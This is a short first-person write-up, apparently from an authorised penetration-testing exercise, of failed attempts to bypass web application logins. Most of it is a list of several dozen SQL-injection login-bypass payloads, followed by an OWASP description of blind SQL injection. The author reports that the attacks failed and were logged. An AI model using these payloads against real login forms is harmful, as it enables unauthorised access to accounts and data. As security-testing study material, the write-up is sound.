Using a variety of SQL-injection techniques, attempts were made to illegally login in to the web applications. My research included online sources as well as Udemy courses for penetration testing. Much more research is needed. I first started by brute force, by guessing the most common username and passwords.

I then attempted SQL injections - true statements, from the following list:

or 1=1  
or 1=1--  
or 1=1#  
or 1=1/\*  
admin' --  
admin' #  
admin'/\*  
admin' or '1'='1  
admin' or '1'='1'--  
admin' or '1'='1'#  
admin' or '1'='1'/\*  
admin'or 1=1 or ''='  
admin' or 1=1  
admin' or 1=1--  
admin' or 1=1#  
admin' or 1=1/\*  
admin') or ('1'='1  
admin') or ('1'='1'--  
admin') or ('1'='1'#  
admin') or ('1'='1'/\*  
admin') or '1'='1  
admin') or '1'='1'--  
admin') or '1'='1'#  
admin') or '1'='1'/\*  
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055  
admin" --  
admin" #  
admin"/\*  
admin" or "1"="1  
admin" or "1"="1"--  
admin" or "1"="1"#  
admin" or "1"="1"/\*  
admin"or 1=1 or ""="  
admin" or 1=1  
admin" or 1=1--  
admin" or 1=1#  
admin" or 1=1/\*  
admin") or ("1"="1  
admin") or ("1"="1"--  
admin") or ("1"="1"#  
admin") or ("1"="1"/\*  
admin") or "1"="1  
admin") or "1"="1"--  
admin") or "1"="1"#  
admin") or "1"="1"/\*  
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

I then attempted Blind SQL Injection techniques. “*Blind SQL (Structured Query Language) injection is a type of* [*SQL Injection*](https://www.owasp.org/index.php/SQL_Injection) *attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.*

*When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal* [*SQL Injection*](https://www.owasp.org/index.php/SQL_Injection)*, the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible*.“ (<https://www.owasp.org/index.php/Blind_SQL_Injection>)

Unfortunately (for me, as I was supposed to break in…) the web applications were impervious to my attacks. It was interesting to hear after the fact, that during my attempted attacks, the server was logging unusual activity. Given more time and knowledge, I feel there may have been eventual success.